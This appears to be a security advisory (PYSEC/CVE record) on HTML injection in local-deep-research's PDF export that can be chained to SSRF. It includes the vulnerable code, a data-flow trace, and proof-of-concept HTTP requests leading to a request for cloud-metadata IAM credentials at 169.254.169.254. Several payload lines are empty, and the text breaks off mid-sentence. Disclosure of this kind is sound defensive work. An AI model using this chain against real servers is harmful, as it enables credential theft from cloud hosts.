id: PYSEC-2026-2610
published: "2026-07-13T15:15:45.557677Z"
modified: "2026-07-13T16:04:42.806726Z"
aliases:
- CVE-2026-43979
- GHSA-fj2m-qvh9-jq4q
summary: local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
details: "## Summary\n\n`PDFService._markdown_to_html()` constructs an HTML document by interpolating user-controlled values — specifically `title` (sourced from `research.title` or `research.query`) and `metadata` key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in `ssrf_validator.py`.\n\n---\n\n## Details\n\n**Vulnerable code:** `src/local_deep_research/web/services/pdf_service.py`, lines 171–176\n\n```python\n# pdf_service.py:171-176\nif title:\n html_parts.append(f\"
{title}\") # ← title is not escaped\n\nif metadata:\n for key, value in metadata.items():\n html_parts.append(f'') # ← key/value are not escaped\n```\n\n**Data flow trace:**\n\n```\nUser input: research.query\n │\n ▼\nresearch_routes.py:1321\n pdf_title = research.title or research.query\n │\n ▼\nresearch_routes.py:1325-1326\n export_report_to_memory(report_content, format, title=pdf_title)\n │\n ▼\npdf_service.py:107\n PDFService.markdown_to_pdf(markdown_content, title=pdf_title)\n │\n ▼\npdf_service.py:137\n _markdown_to_html(markdown_content, title, metadata)\n │\n ▼\npdf_service.py:172\n f\"{title}\" ← injection point, no escaping\n │\n ▼\npdf_service.py:112\n HTML(string=html_content) ← WeasyPrint renders the injected HTML\n```\n\n`research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research//export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint.\n\n**Injection point 1: `` tag breakout**\n\n```\nInput: \nRendered: \n```\n\nWhen WeasyPrint encounters the injected `` tag, it issues an HTTP GET request to the value of `src` by default.\n\n**Injection point 2: `` attribute breakout**\n\n```\nInput: \" />\n```\n\nWeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.\n\n---\n\n## Proof of Concept\n\n**Step 1: Log in and submit a research query containing the injection payload**\n\n```http\nPOST /api/start_research HTTP/1.1\nHost: localhost:5000\nContent-Type: application/json\nCookie: session=\n\n{\n \"query\": \"\",\n \"mode\": \"quick\",\n \"model_provider\": \"OLLAMA\",\n \"model\": \"llama3\"\n}\n```\n\nThe response returns a `research_id`, e.g. `\"aaaa-bbbb-cccc-dddd\"`.\n\n**Step 2: After the research completes, trigger PDF export**\n\n```http\nPOST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1\nHost: localhost:5000\nCookie: session=\nX-CSRFToken: \n```\n\n**Step 3: Intermediate HTML constructed server-side**\n\n```html\n\n\n\n\n...report content...\n\n```\n\n**Step 4: WeasyPrint issues an outbound HTTP request to the injected URL**\n\nObserved in network monitoring (e.g. `tcpdump`) or the target internal service logs:\n\n```\nGET /latest/meta-data/iam/security-credentials/ HTTP/1.1\nHost: 169.254.169.254\nUser-Agent: WeasyPrint/...\n```\n\n**Lightweight verification (no SSRF environment required):**\n\nSet the query to:\n\n```\nINJECTED\n```\n\nThe resulting HTML will contain two `` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection.\n\n---\n\n## Impact\n\n### 1. Chained SSRF (High Severity)\n\nBy injecting ``, ``, or `